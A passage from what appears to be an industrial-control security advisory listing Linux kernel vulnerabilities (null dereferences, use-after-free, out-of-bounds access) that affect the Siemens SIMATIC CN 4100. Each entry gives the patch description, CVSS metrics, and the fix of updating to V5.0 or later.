ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div 